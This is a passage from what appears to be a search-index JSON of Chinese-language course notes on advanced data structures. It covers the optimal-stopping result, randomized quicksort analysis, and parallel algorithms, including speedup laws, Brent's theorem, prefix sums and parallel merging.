\\ln\\left(\\frac{N-1}{k-1}\\right) \\] <p>\u4e3a\u4e86\u6700\u5927\u5316\u8fd9\u4e2a\u6982\u7387\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u6700\u4f73\u7684 \\( k \\) \u503c\uff1a</p> <p>\u901a\u8fc7\u6c42\u5bfc\u5e76\u8bbe\u5bfc\u6570\u4e3a\u96f6\uff0c\u6211\u4eec\u5f97\u5230\uff1a</p> \\[ \\frac{d}{dk} \\left[ \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\right] = \\frac{1}{N} \\left( \\ln N - \\ln k - 1 \\right) = 0 \\] <p>\u8fd9\u610f\u5473\u7740\uff1a</p> \\[ \\ln k = \\ln N - 1 \\quad \\Rightarrow \\quad k = \\frac{N}{e} \\] <p>\u5e26\u5165</p> \\[     f(k) = \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\Rightarrow  max(f(k)) = \\frac{1}{e} \\]"},{"location":"NOTE/ADS/wk12/#_2","title":"\u968f\u673a\u5316\u5feb\u901f\u6392\u5e8f","text":"<p>\u5bf9\u4e8e\u4f20\u7edf\u7684\u5feb\u901f\u6392\u5e8f\uff0c\u6700\u574f\u60c5\u51b5\u662f\u6bcf\u6b21\u9009\u62e9\u7684pivot\u90fd\u662f\u6700\u5c0f\u6216\u6700\u5927\u503c\uff0c\u5bfc\u81f4\u6bcf\u6b21\u5212\u5206\u90fd\u53ea\u80fd\u51cf\u5c11\u4e00\u4e2a\u5143\u7d20\uff0c\u5bfc\u81f4\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(N^2)\\)\u3002</p> <p>\u5176\u5e73\u5747\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(N\\log N)\\)\u3002</p> <p>\u5982\u679c\u6211\u4eec\u968f\u673a\u9009\u62e9pivot\uff0c\u5e76\u5e0c\u671b\u8fd9\u4e2apivot\u6ee1\u8db3\uff1a</p> <p>\u4e2d\u5fc3\u5206\u5272:= \u9009\u62e9\u4e00\u4e2a\u67a2\u8f74\uff0c\u4f7f\u5f97\u6bcf\u4e00\u4fa7\u81f3\u5c11\u5305\u542b \\(\\frac{n}{4}\\) \u4e2a\u5143\u7d20</p> <p>\u6539\u8fdb\u5feb\u901f\u6392\u5e8f:= \u5728\u9012\u5f52\u4e4b\u524d\u603b\u662f\u9009\u62e9\u4e00\u4e2a\u4e2d\u5fc3\u5206\u5272</p> <p>\u671f\u671b\u610f\u4e49\u4e0b\u4e24\u6b21\u9009\u4e2d</p> <p>The expected number of iterations needed until we find a central splitter is at most 2.</p> <p>\u6bcf\u4e00\u6b21\uff0c\u9009\u4e2d\u7684\u6982\u7387\u662f\\(\\frac{1}{2}\\)\uff0c\u9700\u8981\u9009\u4e00\u4e2a\u4e2d\u5fc3\u5206\u5272\uff0c\u6240\u4ee5n\u6b21\u4f2f\u52aa\u5229\u8bd5\u9a8c\u671f\u671b\u610f\u4e49\u4e0b\u9700\u8981\u9009\u4e24\u6b21\uff0cn=2\u3002 \u6216\u8005\uff0c\u4ee5\u51e0\u4f55\u5206\u5e03\u7684\u773c\u5149\u6765\u770b\uff0c\u6210\u529f\u7684\u6982\u7387\u662f\\(\\frac{1}{2}\\)\uff0c\u6240\u4ee5\u671f\u671b\u610f\u4e49\u4e0b\u9700\u8981\u9009\u4e24\u6b21\u3002</p> <p>\u5b9a\u4e49\uff1a</p> <p>Type \\( j \\): the subproblem \\( S \\) is of type \\( j \\) if \\( N \\left( \\frac{3}{4} \\right)^{j+1} \\leq |S| \\leq N \\left( \\frac{3}{4} \\right)^j \\)</p> <p>\u63a8\u51fa: There are at most \\( \\left( \\frac{4}{3} \\right)^{j+1} \\) subproblems of type \\( j \\).</p> <p>\u56e0\u4e3a\u4e0b\u754c\u8981\u5c0f\u4e8e\\(N\\)</p> <p>\u4e00\u4e2atypej\u7684\u671f\u671b\u6210\u672c\u4e3a</p> \\[ E[T_{\\text{type } j}] = O\\left(N \\left( \\frac{3}{4} \\right)^j \\right) \\times \\left( \\frac{4}{3} \\right)^{j+1} = O(N) \\] <p>\u4e0d\u540c\u7684type\u7684\u4e2a\u6570\u4e3a</p> <p>Number of different types = \\( \\log_{4/3} N = O(\\log N) \\)</p> <p>This results in a total complexity of \\( O(N \\log N) \\).</p>"},{"location":"NOTE/ADS/wk13/","title":"\u5e76\u884c\u7b97\u6cd5","text":"<p> \u7ea6 5345 \u4e2a\u5b57  10 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 19 \u5206\u949f</p> <p>\u5e76\u884c\u7b97\u6cd5\u7684\u8bbe\u8ba1\u662f\u4e3a\u4e86\u63d0\u9ad8\u8ba1\u7b97\u6548\u7387\u548c\u6027\u80fd\u3002\u968f\u7740\u6570\u636e\u91cf\u7684\u589e\u52a0\u548c\u8ba1\u7b97\u4efb\u52a1\u7684\u590d\u6742\u5316\uff0c\u5355\u4e00\u5904\u7406\u5668\u7684\u8ba1\u7b97\u80fd\u529b\u5df2\u7ecf\u65e0\u6cd5\u6ee1\u8db3\u9700\u6c42\u3002\u901a\u8fc7\u5e76\u884c\u7b97\u6cd5\uff0c\u53ef\u4ee5\u5c06\u4e00\u4e2a\u5927\u7684\u8ba1\u7b97\u4efb\u52a1\u5206\u89e3\u6210\u591a\u4e2a\u5c0f\u4efb\u52a1\uff0c\u5e76\u884c\u6267\u884c\uff0c\u4ece\u800c\u663e\u8457\u51cf\u5c11\u8ba1\u7b97\u65f6\u95f4 \u3002\u4ece\u800c\u66f4\u597d\u5229\u7528\u73b0\u4ee3\u8ba1\u7b97\u673a\u591a\u6838\u7684\u4f18\u52bf</p>"},{"location":"NOTE/ADS/wk13/#_2","title":"\u6982\u5ff5\u4e0e\u5b9a\u7406","text":"<p>Definition</p> <p>\u52a0\u901f\u6bd4 (Speedup)  \u662f\u6307\u5728\u5e76\u884c\u8ba1\u7b97\u4e2d\uff0c\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\u76f8\u5bf9\u4e8e\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u6027\u80fd\u63d0\u5347\u6bd4\u4f8b\uff0c\u8bb0\u4e3a \\( S(p) \\)\uff0c</p> \\[ S(p) = \\frac{T_1}{T_p} \\] <p>\u5176\u4e2d \\( T_1 \\) \u662f\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u8fd0\u884c\u65f6\u95f4\uff0c\\( T_p \\) \u662f\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\u7684\u8fd0\u884c\u65f6\u95f4\u3002</p> <p>\u7406\u60f3\u52a0\u901f\u6bd4:</p> \\[ S(p) = \\frac{T_1}{T_p} = p \\] <p>\u5185\u5b58\u5171\u4eab\u65b9\u5f0f</p> <ol> <li> <p>EREW (Exclusive Read Exclusive Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ea\u80fd\u88ab\u4e00\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\u6216\u5199\u5165\uff1b</p> </li> <li> <p>CREW (Concurrent Read Exclusive Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ef\u4ee5\u88ab\u591a\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\uff0c\u4f46\u53ea\u80fd\u88ab\u4e00\u4e2a\u5904\u7406\u5668\u5199\u5165\uff1b</p> </li> <li> <p>CRCW (Concurrent Read Concurrent Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ef\u4ee5\u88ab\u591a\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\u6216\u5199\u5165\uff0c\u56e0\u4e3a\u5199\u5165\u6d89\u53ca\u5230\u540c\u65f6\u5199\u5165\u4e0d\u540c\u503c\u53ef\u80fd\u9020\u6210\u7684\u51b2\u7a81\u3002\u56e0\u6b64\u5199\u5165\u7b56\u7565\u53ef\u4ee5\u5206\u5982\u4e0b\u4e09\u79cd:</p> <p>(a) CRCW-C (Common): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u76f8\u540c\u65f6\u624d\u4f1a\u5199\u5165\uff1b</p> <p>(b) CRCW-A (Arbitrary): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u53ef\u4ee5\u4e0d\u540c\uff0c\u4efb\u610f\u8bfb\u53d6\u5176\u4e2d\u4e00\u4e2a\u5199\u5165\u5373\u53ef\uff1b</p> <p>\u00a9 CRCW-P (Priority): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u53ef\u4ee5\u4e0d\u540c\uff0c\u4f46\u5b58\u5728\u4e00\u4e2a\u4f18\u5148\u7ea7\uff0c\u53ea\u6709\u4f18\u5148\u7ea7\u6700\u9ad8\u7684\u5199\u5165\u624d\u4f1a\u751f\u6548\u3002</p> </li> </ol> <p>\u963f\u59c6\u8fbe\u5c14\u5b9a\u5f8b</p> <p>\u8bbe \\( 0 \\leqslant f \\leqslant 1 \\) \u662f\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\u5fc5\u987b\u4e32\u884c\u6267\u884c\u7684\u90e8\u5206\u7684\u6bd4\u4f8b\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{1}{f + (1-f)/p} \\] <p>\u8bc1\u660e: \u8bbe\u6574\u4e2a\u7a0b\u5e8f\u4e2d\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( t \\)\uff0c\u90a3\u4e48\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( ft \\)\uff0c\u5e76\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( (1-f)t \\)\u3002\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\uff0c\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e0d\u53d8\uff0c\u800c\u5e76\u884c\u90e8\u5206\u7684\u65f6\u95f4\u6700\u5c11\u4e3a \\( (1-f)t/p \\)\uff0c\u56e0\u6b64\u603b\u7684\u65f6\u95f4\u6700\u5c11\u4e3a \\( ft + (1-f)t/p \\)\uff0c\u56e0\u6b64\u52a0\u901f\u6bd4\u6700\u5927\u4e3a</p> \\[ S(p) = \\frac{t}{ft + (1-f)t/p} = \\frac{1}{f + (1-f)/p} \\] <p>\u8fd9\u4e2a\u5b9a\u5f8b\u5047\u5b9a\u4e32\u884c\u90e8\u5206\u4e0d\u53ef\u72ec\u7acb\u4e8e\u95ee\u9898\u5927\u5c0f</p> <p>Gustafson\u5b9a\u5f8b</p> <p>\u8bbe\u67d0\u4e2a\u7a0b\u5e8f\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u5e76\u884c\u6267\u884c\u65f6\uff0c\u4e32\u884c\u90e8\u5206\u82b1\u8d39\u7684\u65f6\u95f4\u4e3a \\( f_1 \\)\uff08\u4e0d\u662f\u6bd4\u4f8b\uff09\uff0c\u5e76\u884c\u90e8\u5206\u82b1\u8d39\u7684\u65f6\u95f4\u4e3a \\( f_2 \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{f_1 + f_2 \\cdot p}{f_1 + f_2} \\] <p>\u8bc1\u660e: \u7531\u6b64\u53ef\u77e5\uff0c\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u5e76\u884c\u6267\u884c\u7684\u65f6\u95f4\u4e3a \\( T_p = f_1 + f_2 \\)\uff0c\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u5355\u4ef6\u6267\u884c\u7684\u65f6\u95f4\u5e94\u5f53\u4e3a \\( T_1 = f_1 + f_2 \\cdot p \\)\uff0c\u56e0\u6b64\u52a0\u901f\u6bd4\u4e3a</p> \\[ S(p) = \\frac{T_1}{T_p} = \\frac{f_1 + f_2 \\cdot p}{f_1 + f_2} \\] <p>\u5b59-\u502a\u5b9a\u5f8b</p> <p>\u5b9a\u7406 14.4 (\u5b59-\u502a\u5b9a\u5f8b, 1990) \u8bbe\u67d0\u4e2a\u7a0b\u5e8f\u4e32\u884c\u90e8\u5206\u5360\u6bd4\u4e3a \\( f \\)\uff0c\u5e76\u884c\u90e8\u5206\u5360\u6bd4\u4e3a \\( 1-f \\)\uff0c\u5185\u5b58\u53d7\u9650\u51fd\u6570\u4e3a \\( G(p) \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{f + (1-f) \\cdot G(p)}{f + \\frac{(1-f) \\cdot G(p)}{p}} \\] <p>Definition</p> \\[      D = T_{\\infty} \\] <p>\\(D\\) \u5177\u6709\u65e0\u7a77\u591a\u4e2a\u5904\u7406\u5668\u65f6\u7684\u65f6\u95f4</p> \\[     W = T_1 \\] <p>\\(W\\) \u662f\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u65f6\u95f4</p> \\[     \\frac{D}{W} = \\frac{T_{\\infty}}{T_1} \\] <p>\u5b9a\u4e49\u4e3a\u7b97\u6cd5\u7684\u5e73\u5747\u5e76\u884c\u5ea6</p> <p>\u5e03\u4f26\u7279\u5b9a\u5f8b</p> <p>\u5b9a\u7406 14.5 (\u5e03\u4f26\u7279\u5b9a\u5f8b, Brent's Theorem) \u8bbe\u4e00\u4e2a\u5e76\u884c\u8ba1\u7b97\u7528\u5230\u7684\u5de5\u4f5c\u91cf\u4e3a \\( W \\)\uff0c\u5173\u952e\u8def\u5f84\u957f\u5ea6\u4e3a \\( D \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u5e76\u884c\u65f6\u95f4\u6ee1\u8db3\u5982\u4e0b\u4e0d\u7b49\u5f0f\uff1a</p> \\[ \\frac{W}{p} \\leqslant T_p \\leqslant \\frac{W - D}{p} + D \\] <p>\u8bc1\u660e: \u4e0b\u754c\u662f\u663e\u7136\u7684\uff0c\u56e0\u4e3a \\( T_p \\geqslant T_{\\infty} \\)\uff0c\u800c \\( T_{\\infty} \\) \u4e5f\u662f\u53d7\u7406\u60f3\u6a21\u578b\u52a0\u901f\u6bd4\u7684\u9650\u5236\u7684\uff0c\u56e0\u6b64 \\( T_p \\geqslant W/p \\)\u3002</p> <p>\u5bf9\u4e8e\u4e0a\u754c\uff0c\u56e0\u4e3a\u5173\u952e\u8def\u5f84\u957f\u5ea6\u4e3a \\( D \\)\uff0c\u56e0\u6b64\u80fd\u591f\u5e76\u884c\u6267\u884c\u7684\u8ba1\u7b97\u53ef\u4ee5\u5206\u4e3a \\( D \\) \u4e2a\u5185\u90e8\u4efb\u52a1\uff0c\u4e92\u76f8\u4e4b\u95f4\u6709\u524d\u540e\u7684\u4f9d\u8d56\uff0c\u8bbe\u6bcf\u4e2a\u9636\u6bb5\u7684\u5de5\u4f5c\u91cf\u4e3a \\( W_i \\)\uff0c\u5219\u6709</p> \\[ W = \\sum_{i=1}^{D} W_i \\] <p>\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\uff0c\u6bcf\u4e00\u4e2a\u9636\u6bb5\u6240\u9700\u7684\u65f6\u95f4\u4e3a \\( \\lceil W_i/p \\rceil \\)\uff0c\u5411\u4e0a\u53d6\u6574\u7684\u539f\u56e0\u5728\u4e8e\uff0c\u6bcf\u4e2a\u9636\u6bb5\u7684\u5de5\u4f5c\u91cf\u53ef\u80fd\u4e0d\u80fd\u88ab\u6574\u9664\u3002\u56e0\u6b64\u5982\u679c\u4efb\u52a1\u5206\u6210\u4e86 7 \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1\u6709 3 \u4e2a\u5904\u7406\u5668\uff0c\u90a3\u4e48\u6bcf\u4e2a\u5904\u7406\u5668\u4f1a\u5206\u5230\u7684\u4efb\u52a1\u4e2a\u6570\u662f 2, 2, 3\u3002</p> <p>\u56e0\u6b64\u6211\u4eec\u9700\u8981\u7684\u65f6\u95f4\u5c31\u662f</p> \\[ T_p = \\sum_{i=1}^{D} \\left\\lceil \\frac{W_i}{p} \\right\\rceil = \\sum_{i=1}^{D} \\left( \\left\\lfloor \\frac{W_i - 1}{p} \\right\\rfloor + 1 \\right) \\leqslant \\sum_{i=1}^{D} \\left( \\frac{W_i - 1}{p} + 1 \\right) = \\frac{W - D}{p} + D. \\] <p>\u5176\u4e2d\u6211\u4eec\u4f7f\u7528\u4e86\u7b49\u5f0f</p> \\[ \\left\\lceil \\frac{x}{y} \\right\\rceil = \\left\\lfloor \\frac{x+y-1}{y} \\right\\rfloor + 1 \\]"},{"location":"NOTE/ADS/wk13/#_3","title":"\u524d\u7f00\u548c\u95ee\u9898","text":"<p>\u9996\u5148\uff0c\u5bf9\u4e8e\u6c42\u548c\u95ee\u9898\uff0c\u53ef\u4ee5\u8f6c\u6362\u4e3a\u4e8c\u53c9\u6811\u7684\u6c42\u548c\u95ee\u9898\uff0c\u6bcf\u4e2a\u8282\u70b9\u8868\u793a\u4e00\u4e2a\u6c42\u548c\u64cd\u4f5c\uff0c\u6bcf\u4e2a\u8282\u70b9\u6709\u4e24\u4e2a\u5b50\u8282\u70b9\uff0c\u5206\u522b\u8868\u793a\u4e24\u4e2a\u6c42\u548c\u64cd\u4f5c\u3002</p> \u6c42\u548c\u95ee\u9898 <p>\u5bf9\u4e8e\u524d\u7f00\u548c\u95ee\u9898\uff0c\u5148\u5b9a\u4e49\u5982\u4e0b\u5f0f\u5b50</p> \\[     C(h,i) = \\sum_{k=0}^{\\alpha} A(k) \\] <p>\u5176\u4e2d \\( h \\) \u8868\u793a\u6811\u7684\u9ad8\u5ea6\uff0c\\( i \\) \u8868\u793a\u6811\u7684\u7b2c \\( i \\) \u4e2a\u8282\u70b9\uff0c\\( \\alpha \\) \u8868\u793a\u6811\u7684\u6700\u53f3\u4e0b\u89d2\u8282\u70b9\u7684 \\( i \\) \u503c\uff0c\\( A(k) \\) \u8868\u793a\u6570\u7ec4 \\( A \\) \u7684\u7b2c \\( k \\) \u4e2a\u5143\u7d20\u3002</p> <p>\u5728\u8ba1\u7b97\u524d\u7f00\u548c\u65f6\uff0c\u5148\u4ece\u4e0a\u5f80\u4e0b\u8ba1\u7b97\u5f97\u5230\u6bcf\u4e00\u4e2a\u90e8\u5206\u548c\u7684\\(B\\)\u503c\uff0c\u7136\u540e\u4ece\u4e0b\u5f80\u4e0a\u8ba1\u7b97\u5f97\u5230\u6bcf\u4e00\u4e2a\u90e8\u5206\u548c\u7684\\(C\\)\u503c\u3002</p> <p>\u5e76\u4e14\u8fd0\u7528\u4ee5\u4e0b\u6027\u8d28</p> <ol> <li> <p>\u5982\u679c \\( i = 1 \\)\uff0c\u90a3\u4e48 \\( C(h, i) = B(h, i) \\)\uff0c\u8fd9\u662f\u56e0\u4e3a \\( i = 1 \\) \u7684\u65f6\u5019\uff0c\u6839\u636e\u5b9a\u4e49\uff0c\\( C(h, 1) \\) \u662f\u4ece\u7b2c 1 \u4e2a\u5143\u7d20\u52a0\u5230\u8fd9 \\( i \\) \u70b9\u4e3a\u6839\u7684\u5b50\u6811\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\u8282\u70b9\u3002\u800c \\( B(h, 1) \\) \u5b9e\u9645\u4e0a\u4e5f\u5c31\u662f\u4ece\u7b2c\u4e00\u4e2a\u5143\u7d20\u52a0\u5230\u8fd9 \\( i \\) \u70b9\u4e3a\u6839\u7684\u5b50\u6811\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\uff08\u770b\u56fe\u53ef\u4ee5\u5f88\u6e05\u695a\u5730\u770b\u51fa\uff09\u3002</p> </li> <li> <p>\u5982\u679c \\( i \\) \u662f\u5076\u6570\uff0c\u8fd9\u8868\u660e\u8fd9 \\( i \\) \u70b9\u662f\u5176\u7236\u70b9\u7684\u53f3\u513f\u5b50\uff0c\u56e0\u6b64\u5b83\u548c\u5b83\u7684\u7236\u4eb2\u6839\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\u662f\u540c\u4e00\u4e2a\uff0c\u56e0\u6b64\u6709 \\( C(h, i) = C(h + 1, i/2) \\);</p> </li> <li> <p>\u5982\u679c \\( i \\) \u662f\u5947\u6570\u4e14\u4e0d\u662f 1\uff0c\u8fd9\u8868\u660e\u8fd9\u4e00\u70b9\u662f\u67d0\u4e2a\u70b9\u7684\u5de6\u513f\u5b50\uff0c\u9996\u5148\u5b83\u81ea\u5df1\u7684\u503c \\( B(h, i) \\) \u4e0d\u662f\u4ece 1 \u5f00\u59cb\u52a0\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u9009\u4e00\u4e2a\u5de6\u8fb9\u7684\u70b9\uff0c\u628a\u4ece 1 \u5f00\u59cb\u52a0\u5230\u8fd9\u4e2a\u70b9\u5bf9\u5e94\u7684\u4e4b\u524d\u7684\u90e8\u5206\u8865\u4e0a\uff0c\u5373 \\( C(h, i) = C(h + 1, (i - 1)/2) + B(h, i) \\)\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5982\u679c\u4e0d\u662f\u5e76\u884c\u7b97\u6cd5\uff0c\\( C(h + 1, (i - 1)/2) \\) \u53ef\u4ee5\u66ff\u6362\u4e3a \\( C(h, i - 1) \\)\uff0c\u4f46\u56e0\u4e3a\u5e76\u884c\u7b97\u6cd5\u8981\u6c42\u6bcf\u4e00\u884c\u662f\u4e00\u8d77\u7b97\u51fa\u6765\u7684\uff0c\u6240\u4ee5\u8981\u7528\u4e0a\u4e00\u884c\u7684\u624d\u5408\u7406\u3002\u6216\u8005\u7528\u4ed6\u7236\u4eb2\u7684\\(C\\)\u51cf\u53bb\u4ed6\u5144\u5f1f\u7684\\(B\\)</p> </li> </ol> \u524d\u7f00\u548c\u95ee\u9898"},{"location":"NOTE/ADS/wk13/#_4","title":"\u5f52\u5e76\u95ee\u9898","text":"<p>\u5f52\u5e76 - \u5c06\u4e24\u4e2a\u975e\u9012\u51cf\u6570\u7ec4 \\( A(1), A(2), \\ldots, A(n) \\) \u548c \\( B(1), B(2), \\ldots, B(m) \\) \u5f52\u5e76\u6210\u53e6\u4e00\u4e2a\u975e\u9012\u51cf\u6570\u7ec4 \\( C(1), C(2), \\ldots, C(n+m) \\)</p>"},{"location":"NOTE/ADS/wk13/#_5","title":"\u76f4\u63a5\u67e5\u627e","text":"<p>Idea</p> <p>\u65e2\u7136\u6211\u4eec\u53ef\u4ee5\u8bbe\u8ba1\u5e76\u884c\u7b97\u6cd5\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u80fd\u540c\u65f6\u5c06\u6240\u6709 \\( A \\) \u548c \\( B \\) \u4e2d\u7684\u5143\u7d20\u5728\u6700\u540e\u7684\u6570\u7ec4 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\u627e\u5230\uff0c\u7136\u540e\u540c\u65f6\u5c06\u5b83\u4eec\u653e\u5230\u6b63\u786e\u7684\u4f4d\u7f6e\u4e0a\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4ee5\u5f88\u5feb\u7684\u901f\u5ea6\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898</p> <p>\u8fd9\u91cc\u7684\u5173\u952e\u6b65\u9aa4\u5c31\u662f\u540c\u65f6\u627e\u5230 \\( A \\) \u548c \\( B \\) \u4e2d\u7684\u5143\u7d20\u5728 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\uff0c\u8fd9\u662f\u4e00\u4e2a\u5e76\u4e0d\u56f0\u96be\u7684\u95ee\u9898\u3002\u4f8b\u5982\u5bf9 \\( A \\) \u4e2d\u7684\u5143\u7d20 \\( A[i] \\)\uff0c\u5b83\u5728 \\( A \\) \u4e2d\u6070\u662f \\( i+1 \\) \u4e2a\u5143\u7d20\uff08\u4e0b\u6807\u4ece 0 \u5f00\u59cb\uff09\uff0c\u5373\u5728\u5b83\u524d\u9762\u6709 \\( i \\) \u4e2a\u5143\u7d20\u3002\u5982\u679c\u6211\u4eec\u80fd\u627e\u5230\u5b83\u5728 \\( B \\) \u4e2d\u5904\u4e8e</p> \\[ B[l] &lt; A[i] &lt; B[l+1] \\] <p>\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48 \\( B \\) \u4e2d\u6709 \\( l+1 \\) \u4e2a\u5143\u7d20\u5728\u5408\u5e76\u540e\u7684 \\( C \\) \u4e2d\u4f4d\u4e8e \\( A[i] \\) \u524d\u9762\u3002\u56e0\u6b64\u6b64\u65f6 \\( A[i] \\) \u5728 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\u5c31\u662f \\( C[i + l + 1] \\)\uff0c\u8fd9\u6837\u5b83\u524d\u9762\u5c31\u6709 \\( i + (l + 1) \\) \u4e2a\u5143\u7d20\u3002\u5bf9 \\( B \\) \u4e2d\u7684\u5143\u7d20 \\( B[k] \\) \u4e5f\u6709\u7c7b\u4f3c\u7684\u5206\u6790\u3002</p> \u6392\u5217\u89c4\u5219 <pre><code>for Pi , 1 &lt;= i &lt;= n  pardo\n    C(i + RANK(i, B)) := A(i)\nfor Pi , 1 &lt;= i &lt;= n  pardo\n    C(i + RANK(i, A)) := B(i)\n</code></pre> <p>\u6709\u4e24\u79cd\u7b56\u7565</p> <ol> <li> <p>\u9010\u4e2a\u5143\u7d20\u4e8c\u5206\u67e5\u627e: \u4f7f\u7528\u4e8c\u5206\u67e5\u627e\u5b9a\u4f4d\u5230\u4e00\u4e2a\u5143\u7d20\u5728\u53e6\u4e00\u4e2a\u6570\u7ec4\u4e2d\u7684\u4f4d\u7f6e\u5176\u9700\u8981 \\( O(\\log n) \\) \u7684\u65f6\u95f4\uff0c\u5373 \\( D = O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n \\log n) \\)\uff1b\u7136\u540e\u6211\u4eec\u9700\u8981\u5c06\u6240\u6709\u5143\u7d20\u653e\u5230\u6b63\u786e\u7684\u4f4d\u7f6e\u4e0a\u3002\u8fd9\u4e00\u6b65\u590d\u6742\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) (\u5982\u679c\u6570\u7ec4\u957f\u5ea6\u4e0d\u540c\u5219\u662f \\( O(n+m) \\))\uff0c\u4e24\u6b65\u5408\u8d77\u6765\u590d\u6742\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n \\log n) \\)\u3002</p> </li> <li> <p>\u6574\u4f53\u6027\u67e5\u627e: \u4f2a\u4ee3\u7801\u5982\u4e0b</p> </li> </ol> <pre><code>i = j = 0; \nwhile ( i &lt;= n || j &lt;= m ) {\n    if ( A(i+1) &lt; B(j+1) )\n        RANK(++i, B) = j;\n    else RANK(++j, A) = i;\n}\n</code></pre> <p>\u5b9e\u9645\u4e0a\u548c\u5f52\u5e76\u6392\u5e8f\u7684\u64cd\u4f5c\u5e76\u65e0\u672c\u8d28\u5dee\u522b\uff0c\u5c31\u662f\u4e24\u4e2a\u6570\u7ec4\u7684\u5143\u7d20\u4ece\u5934\u4f9d\u6b21\u5411\u540e\u6bd4\u8f83\uff0c\u56e0\u6b64\u5b8c\u5168\u6ca1\u6709\u5e76\u884c\uff0c\u6df1\u5ea6\u548c\u603b\u5de5\u4f5c\u91cf\u90fd\u662f \\( O(n) \\)\uff08\u6216\u8005\u6570\u7ec4\u957f\u5ea6\u4e0d\u540c\u5c31\u662f \\( O(m + n) \\)\uff09</p>"},{"location":"NOTE/ADS/wk13/#_6","title":"\u5212\u5206\u8303\u5f0f","text":"<p>\u5212\u5206\u8303\u5f0f\u7684\u60f3\u6cd5\u975e\u5e38\u7b80\u5355\uff0c\u4e14\u5b9e\u9645\u8fd0\u7528\u8d77\u6765\u975e\u5e38\u6709\u6548\uff0c\u5206\u4e3a\u5982\u4e0b\u4e24\u4e2a\u6b65\u9aa4\uff1a</p> <ol> <li> <p>\u5212\u5206 (partitioning): \u628a\u95ee\u9898\u5212\u5206\u4e3a\u591a\uff08\u8bbe\u4e3a \\( p \\) \u4e2a\uff09\u5f88\u5c0f\u7684\u5b50\u95ee\u9898\u3002\u6bcf\u4e2a\u5b50\u95ee\u9898\u5927\u5c0f\u5927\u81f4\u4e3a \\( n/p \\)\uff1b</p> </li> <li> <p>\u5b9e\u9645\u5de5\u4f5c (actual work): \u540c\u65f6\u5bf9\u6240\u6709\u5b50\u95ee\u9898\u8fdb\u884c\u5904\u7406\uff0c\u5f97\u5230\u6700\u7ec8\u7ed3\u679c\u3002</p> </li> </ol> <p>\u5212\u5206\uff1a\u6211\u4eec\u5c06\u6bcf\u4e2a\u6570\u7ec4\u5212\u5206\u4e3a \\( p \\) \u4efd\uff08\u6b64\u65f6 \\( p \\) \u672a\u77e5\uff0c\u5206\u6790\u540e\u6211\u4eec\u53ef\u4ee5\u9009\u53d6\u5230\u6700\u4f18\u7684 \\( p \\)\uff09\uff0c\\( p \\) 